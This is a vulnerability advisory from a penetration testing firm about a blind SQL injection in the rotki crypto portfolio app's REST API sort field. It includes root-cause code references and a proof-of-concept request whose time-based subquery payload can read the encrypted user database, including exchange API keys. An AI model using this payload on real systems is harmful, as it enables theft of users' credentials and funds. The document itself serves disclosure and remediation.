rotki: blind SQL injection via the order_by_attributes sort field

Anyone who reaches the rotki REST API while the local user is unlocked blind-reads arbitrary columns of the decrypted user database through the sort field order_by_attributes, including the exchange API keys.

Advisory ID: TP-2026-131
Product: rotki (locally run portfolio and accounting application for crypto assets)
Vulnerability type: Blind SQL injection in the ORDER BY clause (CWE-89)
CVE: not requested
CVSS 3.1: 7.1 (High) · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L
Affected versions: up to and including v1.43.1 (tested: v1.43.1)
Fixed in: v1.43.2
Reported: 14 June 2026

Summary

rotki is a locally run portfolio and accounting application for crypto assets that stores its data in a SQLCipher-encrypted database. Several query endpoints of the REST API accept the sort field order_by_attributes and place it unchecked into the ORDER BY clause. SQLite accepts scalar subqueries there, so response times reveal arbitrary columns. The API checks no per-request token, only whether the local user is currently unlocked; it is reachable through 0.0.0.0 in the official Docker image and, until the fix in v1.44.3, through the overly broad default CORS rule http://localhost:*/* in the desktop installation. Anyone who reaches the API while the user is logged in reads the database through the backend's already decrypted connection, without knowing the password.

Root cause

DBOrderBySchema accepts order_by_attributes as free strings and only checks that the list is as long as ascending (rotkehlchen/api/v1/schemas.py:304-326).
DBFilterOrder.prepare appends each attribute unchanged to ORDER BY (rotkehlchen/db/filtering.py:79-94), an identifier position that cannot be parameterised.
A column allowlist exists only in the schemas for history events (rotkehlchen/api/v1/schemas.py:839-850) and accounting reports (rotkehlchen/api/v1/schemas.py:2169-2181).
Schemas such as UserNotesGetSchema for POST /api/1/notes (rotkehlchen/api/v1/schemas.py:3811) and QueryAddressbookSchema (rotkehlchen/api/v1/schemas.py:3588) inherit the base schema with no check of their own.
@require_loggedin_user checks only the process-wide flag user_is_logged_in and no token, cookie or request origin (rotkehlchen/api/v1/resources.py:455).

Proof of Concept

Request body trimmed to the relevant fields:

POST /api/1/notes HTTP/1.1
Host: <rotki-host>
Content-Type: application/json

{"order_by_attributes": ["CASE WHEN (<condition>) THEN (SELECT count(*) FROM (WITH RECURSIVE c(x) AS (SELECT randomblob(100000) UNION ALL SELECT randomblob(100000) FROM c LIMIT 200000) SELECT x FROM c)) ELSE 1 END"], "ascending": [true]}

The expression is evaluated per row, so the table needs at least one entry. Verified on v1.43.1 in the official Docker image, with no credentials in the request: a true condition answers after about 55 seconds, a false one after about 0.1 seconds, reproduced three times. With the condition (SELECT count(*) FROM user_credentials)>=0 the endpoint answers after 55.8 seconds, so the table holding the exchange credentials is readable.

Impact

  • Blind read of arbitrary columns of the user database, including user_credentials with exchange API keys, secrets and passphrases.
  • Bypass of the SQLCipher encryption without knowing the password, because the query runs on the backend's decrypted connection.
  • Read-only access, since SQLite executes a single statement at this point; long subqueries occupy the worker for the duration of the query.

References

Is Something Like This in Your Software?

Our team found this vulnerability during its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.